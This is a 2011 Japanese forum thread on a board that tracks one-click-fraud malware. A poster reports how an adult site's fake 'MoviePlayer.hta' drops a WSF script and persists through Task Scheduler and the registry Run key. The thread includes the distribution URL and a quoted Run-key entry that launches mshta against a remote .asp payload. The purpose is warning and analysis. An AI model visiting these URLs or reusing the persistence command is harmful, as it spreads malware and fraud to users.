» 有元葉子オリジナルデザイン台所道具 » bbsee無料掲示板 . 検索 オプション 購読

ワンクリウェア画像

記載してあるURLはワンクリウェア( malicious software )をダウンロードさせるサイトもありますので、むやみにアクセスしないで下さい。 当掲示板についてはHOME「注 (http://bbsee.info/nekoou/id/69.html)へ飛びます」と書いてある緑色のタグをクリックして、お読み下さい。ワンクリウェア( malicious software )の駆除法については当該掲示板では答える事はしません、メールでも答えません。
→新しい話題を投稿する

アダルトサイト

#2353名前:いぬ時刻:2011-06-23 22:00:32返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

http://1995.dou003.info/
File name 「MoviePlayer.hta」
http://www.virustotal.com/file-scan/report.html?id=24268a6f63ef8efc05630a12df11346aae4ae55ed5fd544fa67cf5136389c5ce-1308832564

Re:アダルトサイト

#2355名前:いぬ時刻:2011-06-23 22:04:04返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

「Folder」

Re:アダルトサイト

#2356名前:いぬ時刻:2011-06-23 22:13:27返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

「File」

「MoviePlayer.hta」を実行することにより
【reazUpdater.wsf】がFolderに格納されDLされる。

Re:アダルトサイト

#2357名前:いぬ時刻:2011-06-23 22:15:28返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

「Task Scheduler library」

【reazUpdater.wsf】の実行手順が「Task Scheduler library」に書き込まれる。

Re:アダルトサイト

#2358名前:いぬ時刻:2011-06-23 22:22:30返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

「Task Manager」

「Task Scheduler library」に書き込まれた手順に従い
【reazUpdater.wsf】が実行され【mshta.exe】に書き込みをして「登録ありがとう」の画像が表示される。

C:\Windows\System32\mshta.exe
O4 - HKCU\..\Run: [sthrt10587_3678508] "C:\Windows\system32\mshta" "http://39be.dou003.info/aj1wnvdq/Piq56IHre9WmfpmpRZuAjQ.asp"

Re:アダルトサイト

#2359名前:いぬ時刻:2011-06-23 22:23:48返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

「Task Scheduler library」

ここにも記述されてる。

Re:アダルトサイト

#2360名前:いぬ時刻:2011-06-23 22:24:38返信IP:FL1-122-131-3-45.myz.mesh.ad.jpID:a38beb64

「Startup on Registory」

ここにも記述される。

パスワード:
Powered by bbsee.info. Copyright © 2005-2011
HTML generated at 2011-06-23 22:24:38 (0.073 sec).